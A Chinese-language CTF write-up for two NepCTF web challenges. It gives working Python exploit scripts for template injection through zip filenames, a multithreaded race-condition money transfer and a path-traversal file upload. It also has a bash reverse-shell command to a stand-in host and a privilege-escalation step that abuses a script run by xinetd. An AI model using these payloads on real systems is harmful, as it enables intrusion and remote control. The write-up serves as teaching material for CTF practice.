NepDouble
python
if request.method != "POST":
return 'Please use POST method to upload files.'
python
file_extension = files.filename.rsplit('.', 1)[-1].lower()
if file_extension != 'zip':
return 'Invalid file type. Please upload a .zip file.'
python
with ZipFile(files) as zip_file:
zip_file.extractall(path=unzip_folder)
files_list = []
for root, dirs, files in os.walk(unzip_folder):
for file in files:
print(file)
file_path = os.path.join(root, file)
relative_path = os.path.relpath(file_path, app.config['UPLOAD_FOLDER'])
link = f'<a href="/cat?file={relative_path}">{file}</a>'
files_list.append(link)
return render_template_string('<br>'.join(files_list))
查看附件的app.py时发现需要用post提交一个zip文件即可解压并返回超链接<a href="/cat?file={relative_path}">{file}</a>渲染网页,所以我们可以用脚本进行连接并上传一个带有ssti的payload的zip文件
python
import requests
import io
import zipfile
# 创建一个内存中的字节流对象
zip_buffer = io.BytesIO()
# 使用 zipfile.ZipFile 创建 ZIP 文件
with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file:
# 向ZIP文件中添加自定义文件和内容
zip_file.writestr('file1.txt', 'This is the content of file1.')
zip_file.writestr("{{7*7}}", 'This is the content of file2.')
# 将字节流的指针移动到文件开始位置
zip_buffer.seek(0)
# 构造上传的文件数据
files = {'tp_file': ('test.zip', zip_buffer, 'application/zip')}
# 上传到服务器
url = 'https://neptune-44698.nepctf.lemonprefect.cn/'
response = requests.post(url=url, files=files, allow_redirects=False)
# 打印响应内容
print(response.text)
{{lipsum.__globals__.os.popen('cat /flag').read()}}
蹦蹦炸弹
根据代码,整理出流程为:登入HRP用户(余额6000)->重置->获取其他用户(随机生成,余额2000)->利用多线程转账给随机生成的用户->购买admin用户的密码(密码值10000)->登入admin用户->上传文件lock.txt->执行cmd命令得到flag
由于获取admin的密码需要用到多线程提交转账请求刷取且登入admin后也无法在页面里上传文件,所以所有流程就得全部通过脚本实现(这里直接用官方给的exp)
如果运行一次脚本不行就多运行几次,可能是转账的金额还没有达到10000
登入admin
python
import requests
import threading
import re
def transfer_to_user(session, user, amount):
transfer_url = "https://neptune-57790.nepctf.lemonprefect.cn/transfer"
data = {
"receiver": user,
"amount": amount,
"logs": "true",
}
session.post(transfer_url, data=data)
session = requests.Session()
# 登入
login_url = "https://neptune-57790.nepctf.lemonprefect.cn/login"
login_data = {
"username": "HRP",
"password": "HRP"
}
session.post(login_url, data=login_data)
# 重置
reset_url = "https://neptune-57790.nepctf.lemonprefect.cn/reset"
session.get(reset_url, data="")
# 获取其他用户
get_users_url = "https://neptune-57790.nepctf.lemonprefect.cn/get_users?num=1"
response = session.get(get_users_url)
first_user = response.json()["users"][0]
# 转账
threads = []
for _ in range(100):
t = threading.Thread(target=transfer_to_user, args=(session, first_user, 1000))
t.start()
threads.append(t)
for t in threads:
t.join()
print(f"Transferred 100 units to {first_user} 100 times!")
# 购买提取flag
force_buy_flag_data_url = "https://neptune-57790.nepctf.lemonprefect.cn/force_buy_flag"
force_buy_flag_data = {
"target_user": first_user
}
admin_passwd = session.post(force_buy_flag_data_url, data=force_buy_flag_data)
print(admin_passwd.text)
pattern = r'flag:\s+(.+)'
# 使用正则表达式进行匹配
matches = re.findall(pattern, admin_passwd.text)
# 提取到的匹配结果
for match in matches:
print("admin_passwd:", match)
admin_passwd = match
# 登录admin
login_url = "https://neptune-57790.nepctf.lemonprefect.cn/admin"
login_data = {"username": "admin", "password": admin_passwd}
# 发送登录POST请求
session = requests.Session()
login_response = session.post(login_url, data=login_data)
用购买的密码登入后发现上传文件没有路径继续用代码实现
上传文件
python
# 上传的文件
import os
os.system("touch lock.txt")
file_path = './lock.txt'
upload_url = 'https://neptune-57790.nepctf.lemonprefect.cn/admin/dashboard'
# 使用session对象打开文件并进行上传
with open(file_path, 'rb') as f:
files = {'file': ('../../lock.txt', f)} # Changed the file name to just 'lock.txt'
upload_response = session.post(upload_url, files=files)
# 输出服务器响应
print(upload_response.text)
上传lock.txt文件后getshell,执行cmd命令
由于每次执行命令都需要运行所以直接反弹shell到自己的服务器上
本机:nc -lvvp 7777 目标机:bash -c "bash -i >& /dev/tcp/your_ip/7777 0>&1"
查看当前路径,目录和用户
pwd && ls && whoami
直接尝试cat /home/ctfuser/f*发现不能查看
查看ctfuser目录文件权限发现flag没有读写权限
ls -ahl
发现是使flag无读写权限的文件
查看进程
ps aux
可以发现典型的中间件进程xinetd服务开启,配置文件一般在/etc中
查看/etc目录发现conf文件和一个xinetd.d目录
cd /etc
ls -ahl
查看xinetd.conf没发现有用信息,进入xinetd.d查看
查看文件发现pwnservice里的内容正是运行服务文件
利用flag.sh中的命令给flag赋权
echo -e "#/bin/bash\nchmod 777 /home/ctfuser/f*"> start.sh && nc 127.0.0.1 8888
cat /home/ctfuser/f*
这题主要还是考察对于python脚本的理解,包括代码审计和脚本编写